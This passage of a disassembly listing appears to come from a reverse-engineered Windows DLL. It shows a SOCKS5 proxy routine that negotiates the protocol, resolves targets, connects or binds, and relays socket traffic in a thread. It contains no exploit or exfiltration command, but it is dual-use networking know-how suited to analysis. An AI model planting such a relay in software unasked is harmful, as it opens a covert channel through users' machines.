		push	0		; writefds
		lea	eax, [ebp+readfds]
		push	eax		; readfds
		push	0		; nfds
		call	ds:select	; select
		push	0		; flags
		push	1		; len
		mov	ecx, [ebp+var_C3A8]
		add	ecx, [ebp+var_C3B0]
		push	ecx		; buf
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:recv	; recv
		mov	[ebp+len], eax
		cmp	[ebp+len], 0FFFFFFFFh
		jnz	short loc_10014FBA
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:closesocket	; closesocket
		mov	ecx, dword_10073F78
		sub	ecx, 1
		mov	dword_10073F78,	ecx
		mov	eax, 2
		jmp	loc_10015BDE
; ---------------------------------------------------------------------------


loc_10014FBA:				; CODE XREF: sub_10014B0F+483j
		jmp	loc_10014EA6
; ---------------------------------------------------------------------------


loc_10014FBF:				; CODE XREF: sub_10014B0F+3B3j
		push	2		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+var_C4CC],	eax
		mov	edx, [ebp+var_C4CC]
		mov	byte ptr [edx],	5
		movsx	eax, [ebp+buf]
		cmp	eax, 5
		jz	short loc_10014FF1
		mov	ecx, [ebp+var_C4CC]
		mov	byte ptr [ecx+1], 0FFh
		jmp	short loc_10014FFB
; ---------------------------------------------------------------------------


loc_10014FF1:				; CODE XREF: sub_10014B0F+4D4j
		mov	edx, [ebp+var_C4CC]
		mov	byte ptr [edx+1], 0


loc_10014FFB:				; CODE XREF: sub_10014B0F+4E0j
		push	0		; flags
		push	2		; len
		mov	eax, [ebp+var_C4CC]
		push	eax		; buf
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:send	; send
		mov	[ebp+len], eax
		cmp	[ebp+len], 0FFFFFFFFh
		jnz	short loc_10015046
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:closesocket	; closesocket
		mov	eax, dword_10073F78
		sub	eax, 1
		mov	dword_10073F78,	eax
		mov	eax, 2
		jmp	loc_10015BDE
; ---------------------------------------------------------------------------


loc_10015046:				; CODE XREF: sub_10014B0F+511j
					; sub_10014B0F+5B6j
		mov	[ebp+var_C4DC],	0
		jmp	short loc_10015061
; ---------------------------------------------------------------------------


loc_10015052:				; CODE XREF: sub_10014B0F:loc_10015086j
		mov	ecx, [ebp+var_C4DC]
		add	ecx, 1
		mov	[ebp+var_C4DC],	ecx


loc_10015061:				; CODE XREF: sub_10014B0F+541j
		mov	edx, [ebp+var_C4DC]
		cmp	edx, [ebp+readfds.fd_count]
		jnb	short loc_10015088
		mov	eax, [ebp+var_C4DC]
		mov	ecx, [ebp+eax*4+readfds.fd_array]
		cmp	ecx, [ebp+s]
		jnz	short loc_10015086
		jmp	short loc_10015088
; ---------------------------------------------------------------------------


loc_10015086:				; CODE XREF: sub_10014B0F+573j
		jmp	short loc_10015052
; ---------------------------------------------------------------------------


loc_10015088:				; CODE XREF: sub_10014B0F+55Ej
					; sub_10014B0F+575j
		mov	edx, [ebp+var_C4DC]
		cmp	edx, [ebp+readfds.fd_count]
		jnz	short loc_100150C1
		cmp	[ebp+readfds.fd_count],	40h
		jnb	short loc_100150C1
		mov	eax, [ebp+var_C4DC]
		mov	ecx, [ebp+s]
		mov	[ebp+eax*4+readfds.fd_array], ecx
		mov	edx, [ebp+readfds.fd_count]
		add	edx, 1
		mov	[ebp+readfds.fd_count],	edx


loc_100150C1:				; CODE XREF: sub_10014B0F+585j
					; sub_10014B0F+58Ej
		xor	eax, eax
		test	eax, eax
		jnz	loc_10015046
		lea	ecx, [ebp+timeout]
		push	ecx		; timeout
		push	0		; exceptfds
		push	0		; writefds
		lea	edx, [ebp+readfds]
		push	edx		; readfds
		push	0		; nfds
		call	ds:select	; select
		push	0		; flags
		push	1		; len
		lea	eax, [ebp+buf]
		push	eax		; buf
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:recv	; recv
		mov	[ebp+len], eax
		cmp	[ebp+len], 0FFFFFFFFh
		jnz	short loc_10015130
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:closesocket	; closesocket
		mov	eax, dword_10073F78
		sub	eax, 1
		mov	dword_10073F78,	eax
		mov	eax, 2
		jmp	loc_10015BDE
; ---------------------------------------------------------------------------


loc_10015130:				; CODE XREF: sub_10014B0F+5FBj
					; sub_10014B0F+6A0j
		mov	[ebp+var_C4E0],	0
		jmp	short loc_1001514B
; ---------------------------------------------------------------------------


loc_1001513C:				; CODE XREF: sub_10014B0F:loc_10015170j
		mov	ecx, [ebp+var_C4E0]
		add	ecx, 1
		mov	[ebp+var_C4E0],	ecx


loc_1001514B:				; CODE XREF: sub_10014B0F+62Bj
		mov	edx, [ebp+var_C4E0]
		cmp	edx, [ebp+readfds.fd_count]
		jnb	short loc_10015172
		mov	eax, [ebp+var_C4E0]
		mov	ecx, [ebp+eax*4+readfds.fd_array]
		cmp	ecx, [ebp+s]
		jnz	short loc_10015170
		jmp	short loc_10015172
; ---------------------------------------------------------------------------


loc_10015170:				; CODE XREF: sub_10014B0F+65Dj
		jmp	short loc_1001513C
; ---------------------------------------------------------------------------


loc_10015172:				; CODE XREF: sub_10014B0F+648j
					; sub_10014B0F+65Fj
		mov	edx, [ebp+var_C4E0]
		cmp	edx, [ebp+readfds.fd_count]
		jnz	short loc_100151AB
		cmp	[ebp+readfds.fd_count],	40h
		jnb	short loc_100151AB
		mov	eax, [ebp+var_C4E0]
		mov	ecx, [ebp+s]
		mov	[ebp+eax*4+readfds.fd_array], ecx
		mov	edx, [ebp+readfds.fd_count]
		add	edx, 1
		mov	[ebp+readfds.fd_count],	edx


loc_100151AB:				; CODE XREF: sub_10014B0F+66Fj
					; sub_10014B0F+678j
		xor	eax, eax
		test	eax, eax
		jnz	loc_10015130
		lea	ecx, [ebp+timeout]
		push	ecx		; timeout
		push	0		; exceptfds
		push	0		; writefds
		lea	edx, [ebp+readfds]
		push	edx		; readfds
		push	0		; nfds
		call	ds:select	; select
		push	0		; flags
		push	1		; len
		lea	eax, [ebp+var_C394]
		push	eax		; buf
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:recv	; recv
		mov	[ebp+len], eax
		cmp	[ebp+len], 0FFFFFFFFh
		jnz	short loc_1001521A
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:closesocket	; closesocket
		mov	eax, dword_10073F78
		sub	eax, 1
		mov	dword_10073F78,	eax
		mov	eax, 2
		jmp	loc_10015BDE
; ---------------------------------------------------------------------------


loc_1001521A:				; CODE XREF: sub_10014B0F+6E5j
					; sub_10014B0F+78Aj
		mov	[ebp+var_C4E4],	0
		jmp	short loc_10015235
; ---------------------------------------------------------------------------


loc_10015226:				; CODE XREF: sub_10014B0F:loc_1001525Aj
		mov	ecx, [ebp+var_C4E4]
		add	ecx, 1
		mov	[ebp+var_C4E4],	ecx


loc_10015235:				; CODE XREF: sub_10014B0F+715j
		mov	edx, [ebp+var_C4E4]
		cmp	edx, [ebp+readfds.fd_count]
		jnb	short loc_1001525C
		mov	eax, [ebp+var_C4E4]
		mov	ecx, [ebp+eax*4+readfds.fd_array]
		cmp	ecx, [ebp+s]
		jnz	short loc_1001525A
		jmp	short loc_1001525C
; ---------------------------------------------------------------------------


loc_1001525A:				; CODE XREF: sub_10014B0F+747j
		jmp	short loc_10015226
; ---------------------------------------------------------------------------


loc_1001525C:				; CODE XREF: sub_10014B0F+732j
					; sub_10014B0F+749j
		mov	edx, [ebp+var_C4E4]
		cmp	edx, [ebp+readfds.fd_count]
		jnz	short loc_10015295
		cmp	[ebp+readfds.fd_count],	40h
		jnb	short loc_10015295
		mov	eax, [ebp+var_C4E4]
		mov	ecx, [ebp+s]
		mov	[ebp+eax*4+readfds.fd_array], ecx
		mov	edx, [ebp+readfds.fd_count]
		add	edx, 1
		mov	[ebp+readfds.fd_count],	edx


loc_10015295:				; CODE XREF: sub_10014B0F+759j
					; sub_10014B0F+762j
		xor	eax, eax
		test	eax, eax
		jnz	loc_1001521A
		lea	ecx, [ebp+timeout]
		push	ecx		; timeout
		push	0		; exceptfds
		push	0		; writefds
		lea	edx, [ebp+readfds]
		push	edx		; readfds
		push	0		; nfds
		call	ds:select	; select
		push	0		; flags
		push	1		; len
		lea	eax, [ebp+var_C390]
		push	eax		; buf
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:recv	; recv
		mov	[ebp+len], eax
		cmp	[ebp+len], 0FFFFFFFFh
		jnz	short loc_10015304
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:closesocket	; closesocket
		mov	eax, dword_10073F78
		sub	eax, 1
		mov	dword_10073F78,	eax
		mov	eax, 2
		jmp	loc_10015BDE
; ---------------------------------------------------------------------------


loc_10015304:				; CODE XREF: sub_10014B0F+7CFj
					; sub_10014B0F+874j
		mov	[ebp+var_C4E8],	0
		jmp	short loc_1001531F
; ---------------------------------------------------------------------------


loc_10015310:				; CODE XREF: sub_10014B0F:loc_10015344j
		mov	ecx, [ebp+var_C4E8]
		add	ecx, 1
		mov	[ebp+var_C4E8],	ecx


loc_1001531F:				; CODE XREF: sub_10014B0F+7FFj
		mov	edx, [ebp+var_C4E8]
		cmp	edx, [ebp+readfds.fd_count]
		jnb	short loc_10015346
		mov	eax, [ebp+var_C4E8]
		mov	ecx, [ebp+eax*4+readfds.fd_array]
		cmp	ecx, [ebp+s]
		jnz	short loc_10015344
		jmp	short loc_10015346
; ---------------------------------------------------------------------------


loc_10015344:				; CODE XREF: sub_10014B0F+831j
		jmp	short loc_10015310
; ---------------------------------------------------------------------------


loc_10015346:				; CODE XREF: sub_10014B0F+81Cj
					; sub_10014B0F+833j
		mov	edx, [ebp+var_C4E8]
		cmp	edx, [ebp+readfds.fd_count]
		jnz	short loc_1001537F
		cmp	[ebp+readfds.fd_count],	40h
		jnb	short loc_1001537F
		mov	eax, [ebp+var_C4E8]
		mov	ecx, [ebp+s]
		mov	[ebp+eax*4+readfds.fd_array], ecx
		mov	edx, [ebp+readfds.fd_count]
		add	edx, 1
		mov	[ebp+readfds.fd_count],	edx


loc_1001537F:				; CODE XREF: sub_10014B0F+843j
					; sub_10014B0F+84Cj
		xor	eax, eax
		test	eax, eax
		jnz	loc_10015304
		lea	ecx, [ebp+timeout]
		push	ecx		; timeout
		push	0		; exceptfds
		push	0		; writefds
		lea	edx, [ebp+readfds]
		push	edx		; readfds
		push	0		; nfds
		call	ds:select	; select
		push	0		; flags
		push	1		; len
		lea	eax, [ebp+var_C3A4]
		push	eax		; buf
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:recv	; recv
		mov	[ebp+len], eax
		cmp	[ebp+len], 0FFFFFFFFh
		jnz	short loc_100153EE
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:closesocket	; closesocket
		mov	eax, dword_10073F78
		sub	eax, 1
		mov	dword_10073F78,	eax
		mov	eax, 2
		jmp	loc_10015BDE
; ---------------------------------------------------------------------------


loc_100153EE:				; CODE XREF: sub_10014B0F+8B9j
		mov	cl, [ebp+var_C3A4]
		mov	[ebp+var_C530],	cl
		cmp	[ebp+var_C530],	1
		jz	short loc_10015411
		cmp	[ebp+var_C530],	3
		jz	short loc_10015474
		jmp	loc_1001567D
; ---------------------------------------------------------------------------


loc_10015411:				; CODE XREF: sub_10014B0F+8F2j
		push	4		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+var_C3A0],	eax
		push	0		; flags
		push	4		; len
		mov	edx, [ebp+var_C3A0]
		push	edx		; buf
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:recv	; recv
		mov	[ebp+len], eax
		cmp	[ebp+len], 0FFFFFFFFh
		jnz	short loc_1001546F
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:closesocket	; closesocket
		mov	edx, dword_10073F78
		sub	edx, 1
		mov	dword_10073F78,	edx
		mov	eax, 2
		jmp	loc_10015BDE
; ---------------------------------------------------------------------------


loc_1001546F:				; CODE XREF: sub_10014B0F+938j
		jmp	loc_1001567D
; ---------------------------------------------------------------------------


loc_10015474:				; CODE XREF: sub_10014B0F+8FBj
					; sub_10014B0F+9E4j
		mov	[ebp+var_C4F0],	0
		jmp	short loc_1001548F
; ---------------------------------------------------------------------------


loc_10015480:				; CODE XREF: sub_10014B0F:loc_100154B4j
		mov	eax, [ebp+var_C4F0]
		add	eax, 1
		mov	[ebp+var_C4F0],	eax


loc_1001548F:				; CODE XREF: sub_10014B0F+96Fj
		mov	ecx, [ebp+var_C4F0]
		cmp	ecx, [ebp+readfds.fd_count]
		jnb	short loc_100154B6
		mov	edx, [ebp+var_C4F0]
		mov	eax, [ebp+edx*4+readfds.fd_array]
		cmp	eax, [ebp+s]
		jnz	short loc_100154B4
		jmp	short loc_100154B6
; ---------------------------------------------------------------------------


loc_100154B4:				; CODE XREF: sub_10014B0F+9A1j
		jmp	short loc_10015480
; ---------------------------------------------------------------------------


loc_100154B6:				; CODE XREF: sub_10014B0F+98Cj
					; sub_10014B0F+9A3j
		mov	ecx, [ebp+var_C4F0]
		cmp	ecx, [ebp+readfds.fd_count]
		jnz	short loc_100154EF
		cmp	[ebp+readfds.fd_count],	40h
		jnb	short loc_100154EF
		mov	edx, [ebp+var_C4F0]
		mov	eax, [ebp+s]
		mov	[ebp+edx*4+readfds.fd_array], eax
		mov	ecx, [ebp+readfds.fd_count]
		add	ecx, 1
		mov	[ebp+readfds.fd_count],	ecx


loc_100154EF:				; CODE XREF: sub_10014B0F+9B3j
					; sub_10014B0F+9BCj
		xor	edx, edx
		test	edx, edx
		jnz	loc_10015474
		lea	eax, [ebp+timeout]
		push	eax		; timeout
		push	0		; exceptfds
		push	0		; writefds
		lea	ecx, [ebp+readfds]
		push	ecx		; readfds
		push	0		; nfds
		call	ds:select	; select
		push	0		; flags
		push	1		; len
		lea	edx, [ebp+var_C4EC]
		push	edx		; buf
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:recv	; recv
		mov	[ebp+len], eax
		cmp	[ebp+len], 0FFFFFFFFh
		jnz	short loc_10015560
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:closesocket	; closesocket
		mov	edx, dword_10073F78
		sub	edx, 1
		mov	dword_10073F78,	edx
		mov	eax, 2
		jmp	loc_10015BDE
; ---------------------------------------------------------------------------


loc_10015560:				; CODE XREF: sub_10014B0F+A29j
		movsx	eax, [ebp+var_C4EC]
		add	eax, 1
		push	eax		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+var_C3A0],	eax


loc_1001557A:				; CODE XREF: sub_10014B0F+AEAj
		mov	[ebp+var_C4F4],	0
		jmp	short loc_10015595
; ---------------------------------------------------------------------------


loc_10015586:				; CODE XREF: sub_10014B0F:loc_100155BAj
		mov	ecx, [ebp+var_C4F4]
		add	ecx, 1
		mov	[ebp+var_C4F4],	ecx


loc_10015595:				; CODE XREF: sub_10014B0F+A75j
		mov	edx, [ebp+var_C4F4]
		cmp	edx, [ebp+readfds.fd_count]
		jnb	short loc_100155BC
		mov	eax, [ebp+var_C4F4]
		mov	ecx, [ebp+eax*4+readfds.fd_array]
		cmp	ecx, [ebp+s]
		jnz	short loc_100155BA
		jmp	short loc_100155BC
; ---------------------------------------------------------------------------


loc_100155BA:				; CODE XREF: sub_10014B0F+AA7j
		jmp	short loc_10015586
; ---------------------------------------------------------------------------


loc_100155BC:				; CODE XREF: sub_10014B0F+A92j
					; sub_10014B0F+AA9j
		mov	edx, [ebp+var_C4F4]
		cmp	edx, [ebp+readfds.fd_count]
		jnz	short loc_100155F5
		cmp	[ebp+readfds.fd_count],	40h
		jnb	short loc_100155F5
		mov	eax, [ebp+var_C4F4]
		mov	ecx, [ebp+s]
		mov	[ebp+eax*4+readfds.fd_array], ecx
		mov	edx, [ebp+readfds.fd_count]
		add	edx, 1
		mov	[ebp+readfds.fd_count],	edx


loc_100155F5:				; CODE XREF: sub_10014B0F+AB9j
					; sub_10014B0F+AC2j
		xor	eax, eax
		test	eax, eax
		jnz	loc_1001557A
		lea	ecx, [ebp+timeout]
		push	ecx		; timeout
		push	0		; exceptfds
		push	0		; writefds
		lea	edx, [ebp+readfds]
		push	edx		; readfds
		push	0		; nfds
		call	ds:select	; select
		push	0		; flags
		movsx	eax, [ebp+var_C4EC]
		push	eax		; len
		mov	ecx, [ebp+var_C3A0]
		push	ecx		; buf
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:recv	; recv
		mov	[ebp+len], eax
		cmp	[ebp+len], 0FFFFFFFFh
		jnz	short loc_1001566C
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:closesocket	; closesocket
		mov	ecx, dword_10073F78
		sub	ecx, 1
		mov	dword_10073F78,	ecx
		mov	eax, 2
		jmp	loc_10015BDE
; ---------------------------------------------------------------------------


loc_1001566C:				; CODE XREF: sub_10014B0F+B35j
		movsx	edx, [ebp+var_C4EC]
		mov	eax, [ebp+var_C3A0]
		mov	byte ptr [eax+edx], 0


loc_1001567D:				; CODE XREF: sub_10014B0F+8FDj
					; sub_10014B0F:loc_1001546Fj ...
		mov	[ebp+var_C4F8],	0
		jmp	short loc_10015698
; ---------------------------------------------------------------------------


loc_10015689:				; CODE XREF: sub_10014B0F:loc_100156BDj
		mov	ecx, [ebp+var_C4F8]
		add	ecx, 1
		mov	[ebp+var_C4F8],	ecx


loc_10015698:				; CODE XREF: sub_10014B0F+B78j
		mov	edx, [ebp+var_C4F8]
		cmp	edx, [ebp+readfds.fd_count]
		jnb	short loc_100156BF
		mov	eax, [ebp+var_C4F8]
		mov	ecx, [ebp+eax*4+readfds.fd_array]
		cmp	ecx, [ebp+s]
		jnz	short loc_100156BD
		jmp	short loc_100156BF
; ---------------------------------------------------------------------------


loc_100156BD:				; CODE XREF: sub_10014B0F+BAAj
		jmp	short loc_10015689
; ---------------------------------------------------------------------------


loc_100156BF:				; CODE XREF: sub_10014B0F+B95j
					; sub_10014B0F+BACj
		mov	edx, [ebp+var_C4F8]
		cmp	edx, [ebp+readfds.fd_count]
		jnz	short loc_100156F8
		cmp	[ebp+readfds.fd_count],	40h
		jnb	short loc_100156F8
		mov	eax, [ebp+var_C4F8]
		mov	ecx, [ebp+s]
		mov	[ebp+eax*4+readfds.fd_array], ecx
		mov	edx, [ebp+readfds.fd_count]
		add	edx, 1
		mov	[ebp+readfds.fd_count],	edx


loc_100156F8:				; CODE XREF: sub_10014B0F+BBCj
					; sub_10014B0F+BC5j
		xor	eax, eax
		test	eax, eax
		jnz	loc_1001567D
		lea	ecx, [ebp+timeout]
		push	ecx		; timeout
		push	0		; exceptfds
		push	0		; writefds
		lea	edx, [ebp+readfds]
		push	edx		; readfds
		push	0		; nfds
		call	ds:select	; select
		push	0		; flags
		push	2		; len
		lea	eax, [ebp+var_C38C]
		push	eax		; buf
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:recv	; recv
		mov	[ebp+len], eax
		cmp	[ebp+len], 0FFFFFFFFh
		jnz	short loc_10015767
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:closesocket	; closesocket
		mov	eax, dword_10073F78
		sub	eax, 1
		mov	dword_10073F78,	eax
		mov	eax, 2
		jmp	loc_10015BDE
; ---------------------------------------------------------------------------


loc_10015767:				; CODE XREF: sub_10014B0F+C32j
		push	6		; protocol
		push	1		; type
		push	2		; af
		call	ds:socket	; socket
		mov	[ebp+var_C3BC],	eax
		mov	cl, [ebp+var_C394]
		mov	[ebp+var_C534],	cl
		cmp	[ebp+var_C534],	1
		jz	short loc_100157A0
		cmp	[ebp+var_C534],	2
		jz	loc_1001586A
		jmp	loc_100159FD
; ---------------------------------------------------------------------------


loc_100157A0:				; CODE XREF: sub_10014B0F+C7Dj
		mov	[ebp+var_C508],	2
		mov	dx, [ebp+var_C38C]
		mov	[ebp+var_C506],	dx
		movsx	eax, [ebp+var_C3A4]
		cmp	eax, 3
		jnz	short loc_100157FE
		mov	ecx, [ebp+var_C3A0]
		push	ecx		; name
		call	ds:gethostbyname	; gethostbyname
		mov	[ebp+var_C50C],	eax
		cmp	[ebp+var_C50C],	0
		jz	short loc_100157FC
		push	4		; Size
		mov	edx, [ebp+var_C50C]
		mov	eax, [edx+0Ch]
		mov	ecx, [eax]
		push	ecx		; Src
		lea	edx, [ebp+Dst]
		push	edx		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch


loc_100157FC:				; CODE XREF: sub_10014B0F+CCEj
		jmp	short loc_1001580C
; ---------------------------------------------------------------------------


loc_100157FE:				; CODE XREF: sub_10014B0F+CB2j
		mov	eax, [ebp+var_C3A0]
		mov	ecx, [eax]
		mov	[ebp+Dst], ecx


loc_1001580C:				; CODE XREF: sub_10014B0F:loc_100157FCj
		push	10h		; namelen
		lea	edx, [ebp+var_C508]
		push	edx		; name
		mov	eax, [ebp+var_C3BC]
		push	eax		; s
		call	ds:connect	; connect
		mov	[ebp+len], eax
		cmp	[ebp+len], 0
		jz	short loc_1001584F
		mov	ecx, [ebp+len]
		push	ecx		; int
		mov	edx, [ebp+s]
		push	edx		; s
		call	sub_10014769
		add	esp, 8
		or	eax, 0FFFFFFFFh
		jmp	loc_10015BDE
; ---------------------------------------------------------------------------


loc_1001584F:				; CODE XREF: sub_10014B0F+D20j
		mov	eax, [ebp+var_C3BC]
		push	eax		; s
		mov	ecx, [ebp+s]
		push	ecx		; int
		call	sub_10014871
		add	esp, 8
		jmp	loc_100159FD
; ---------------------------------------------------------------------------


loc_1001586A:				; CODE XREF: sub_10014B0F+C86j
		mov	[ebp+var_C51C],	2
		mov	dx, [ebp+var_C38C]
		mov	[ebp+var_C51A],	dx
		movsx	eax, [ebp+var_C3A4]
		cmp	eax, 3
		jnz	short loc_100158BF
		mov	ecx, [ebp+var_C3A0]
		push	ecx		; name
		call	ds:gethostbyname	; gethostbyname
		mov	[ebp+var_C524],	eax
		push	4		; Size
		mov	edx, [ebp+var_C524]
		mov	eax, [edx+0Ch]
		mov	ecx, [eax]
		push	ecx		; Src
		lea	edx, [ebp+var_C518]
		push	edx		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch
		jmp	short loc_100158CD
; ---------------------------------------------------------------------------


loc_100158BF:				; CODE XREF: sub_10014B0F+D7Cj
		mov	eax, [ebp+var_C3A0]
		mov	ecx, [eax]
		mov	[ebp+var_C518],	ecx


loc_100158CD:				; CODE XREF: sub_10014B0F+DAEj
		push	10h
		lea	edx, [ebp+var_C51C]
		push	edx
		mov	eax, [ebp+var_C3BC]
		push	eax
		call	dword_10073F84	; bind
		mov	[ebp+var_C538],	eax
		mov	ecx, [ebp+var_C538]
		mov	[ebp+len], ecx
		cmp	[ebp+len], 0
		jz	short loc_1001591C
		mov	edx, [ebp+len]
		push	edx		; int
		mov	eax, [ebp+s]
		push	eax		; s
		call	sub_10014769
		add	esp, 8
		or	eax, 0FFFFFFFFh
		jmp	loc_10015BDE
; ---------------------------------------------------------------------------


loc_1001591C:				; CODE XREF: sub_10014B0F+DEDj
		push	5
		mov	ecx, [ebp+var_C3BC]
		push	ecx
		call	dword_10073F88
		mov	[ebp+var_C53C],	eax
		mov	edx, [ebp+var_C53C]
		mov	[ebp+len], edx
		cmp	[ebp+len], 0
		jz	short loc_10015964
		mov	eax, [ebp+len]
		push	eax		; int
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	sub_10014769
		add	esp, 8
		or	eax, 0FFFFFFFFh
		jmp	loc_10015BDE
; ---------------------------------------------------------------------------


loc_10015964:				; CODE XREF: sub_10014B0F+E35j
		mov	edx, [ebp+var_C3BC]
		push	edx		; s
		mov	eax, [ebp+s]
		push	eax		; int
		call	sub_10014871
		add	esp, 8
		mov	[ebp+var_C520],	10h
		lea	ecx, [ebp+var_C520]
		push	ecx
		lea	edx, [ebp+var_C51C]
		push	edx
		mov	eax, [ebp+var_C3BC]
		push	eax
		call	dword_10073F80	; accept
		mov	[ebp+var_C540],	eax
		mov	ecx, [ebp+var_C540]
		mov	[ebp+var_C3BC],	ecx
		cmp	[ebp+var_C3BC],	0FFFFFFFFh
		jnz	short loc_100159E7
		mov	edx, [ebp+len]
		push	edx		; int
		mov	eax, [ebp+s]
		push	eax		; s
		call	sub_10014769
		add	esp, 8
		mov	ecx, dword_10073F78
		sub	ecx, 1
		mov	dword_10073F78,	ecx
		or	eax, 0FFFFFFFFh
		jmp	loc_10015BDE
; ---------------------------------------------------------------------------


loc_100159E7:				; CODE XREF: sub_10014B0F+EA9j
		mov	edx, [ebp+var_C3BC]
		push	edx		; s
		mov	eax, [ebp+s]
		push	eax		; int
		call	sub_10014871
		add	esp, 8


loc_100159FD:				; CODE XREF: sub_10014B0F+C8Cj
					; sub_10014B0F+D56j
		push	4		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+lpParameter], eax
		mov	ecx, [ebp+lpParameter]
		mov	edx, [ebp+var_C3BC]
		mov	[ecx+4], edx
		mov	eax, [ebp+lpParameter]
		mov	ecx, [ebp+s]
		mov	[eax], ecx
		lea	edx, [ebp+ThreadId]
		push	edx		; lpThreadId
		push	0		; dwCreationFlags
		mov	eax, [ebp+lpParameter]
		push	eax		; lpParameter
		push	offset sub_10014916 ; lpStartAddress
		push	0		; dwStackSize
		push	0		; lpThreadAttributes
		call	ds:CreateThread	; CreateThread
		mov	[ebp+var_14], eax


loc_10015A41:				; CODE XREF: sub_10014B0F:loc_10015B98j
		mov	ecx, 1
		test	ecx, ecx
		jz	loc_10015B9D


loc_10015A4E:				; CODE XREF: sub_10014B0F+FBEj
		mov	[ebp+var_C528],	0
		jmp	short loc_10015A69
; ---------------------------------------------------------------------------


loc_10015A5A:				; CODE XREF: sub_10014B0F:loc_10015A8Ej
		mov	edx, [ebp+var_C528]
		add	edx, 1
		mov	[ebp+var_C528],	edx


loc_10015A69:				; CODE XREF: sub_10014B0F+F49j
		mov	eax, [ebp+var_C528]
		cmp	eax, [ebp+readfds.fd_count]
		jnb	short loc_10015A90
		mov	ecx, [ebp+var_C528]
		mov	edx, [ebp+ecx*4+readfds.fd_array]
		cmp	edx, [ebp+s]
		jnz	short loc_10015A8E
		jmp	short loc_10015A90
; ---------------------------------------------------------------------------


loc_10015A8E:				; CODE XREF: sub_10014B0F+F7Bj
		jmp	short loc_10015A5A
; ---------------------------------------------------------------------------


loc_10015A90:				; CODE XREF: sub_10014B0F+F66j
					; sub_10014B0F+F7Dj
		mov	eax, [ebp+var_C528]
		cmp	eax, [ebp+readfds.fd_count]
		jnz	short loc_10015AC9
		cmp	[ebp+readfds.fd_count],	40h
		jnb	short loc_10015AC9
		mov	ecx, [ebp+var_C528]
		mov	edx, [ebp+s]
		mov	[ebp+ecx*4+readfds.fd_array], edx
		mov	eax, [ebp+readfds.fd_count]
		add	eax, 1
		mov	[ebp+readfds.fd_count],	eax


loc_10015AC9:				; CODE XREF: sub_10014B0F+F8Dj
					; sub_10014B0F+F96j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	loc_10015A4E
		lea	edx, [ebp+timeout]
		push	edx		; timeout
		push	0		; exceptfds
		push	0		; writefds
		lea	eax, [ebp+readfds]
		push	eax		; readfds
		push	0		; nfds
		call	ds:select	; select
		push	0		; flags
		push	0C350h		; len
		lea	ecx, [ebp+var_C378]
		push	ecx		; buf
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:recv	; recv
		mov	[ebp+len], eax
		cmp	[ebp+len], 0FFFFFFFFh
		jnz	short loc_10015B3D
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:closesocket	; closesocket
		mov	ecx, dword_10073F78
		sub	ecx, 1
		mov	dword_10073F78,	ecx
		mov	eax, 2
		jmp	loc_10015BDE
; ---------------------------------------------------------------------------


loc_10015B3D:				; CODE XREF: sub_10014B0F+1006j
		cmp	[ebp+len], 0
		jnz	short loc_10015B4B
		jmp	loc_10014C1F
; ---------------------------------------------------------------------------


loc_10015B4B:				; CODE XREF: sub_10014B0F+1035j
		push	0		; flags
		mov	edx, [ebp+len]
		push	edx		; len
		lea	eax, [ebp+var_C378]
		push	eax		; buf
		mov	ecx, [ebp+var_C3BC]
		push	ecx		; s
		call	ds:send	; send
		mov	[ebp+len], eax
		cmp	[ebp+len], 0FFFFFFFFh
		jnz	short loc_10015B98
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:closesocket	; closesocket
		mov	eax, dword_10073F78
		sub	eax, 1
		mov	dword_10073F78,	eax
		mov	eax, 2
		jmp	short loc_10015BDE
; ---------------------------------------------------------------------------


loc_10015B98:				; CODE XREF: sub_10014B0F+1066j
		jmp	loc_10015A41
; ---------------------------------------------------------------------------


loc_10015B9D:				; CODE XREF: sub_10014B0F+F39j
		jmp	short loc_10015BC6
; ---------------------------------------------------------------------------


loc_10015B9F:				; DATA XREF: .rdata:stru_100202C0o
		mov	ecx, dword_10073F78
		sub	ecx, 1
		mov	dword_10073F78,	ecx
		mov	[ebp+var_C52C],	0
		mov	eax, offset loc_10015BBE
		retn
; ---------------------------------------------------------------------------


loc_10015BBE:				; DATA XREF: sub_10014B0F+10A9o
		mov	eax, [ebp+var_C52C]
		jmp	short loc_10015BDE
; ---------------------------------------------------------------------------


loc_10015BC6:				; CODE XREF: sub_10014B0F:loc_10015B9Dj
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	edx, dword_10073F78
		sub	edx, 1
		mov	dword_10073F78,	edx
		xor	eax, eax


loc_10015BDE:				; CODE XREF: sub_10014B0F+50j
					; sub_10014B0F+213j ...
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_10014B0F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; DWORD	__stdcall sub_10015BF1(LPVOID)

sub_10015BF1	proc near		; DATA XREF: sub_10016AB3+A2o

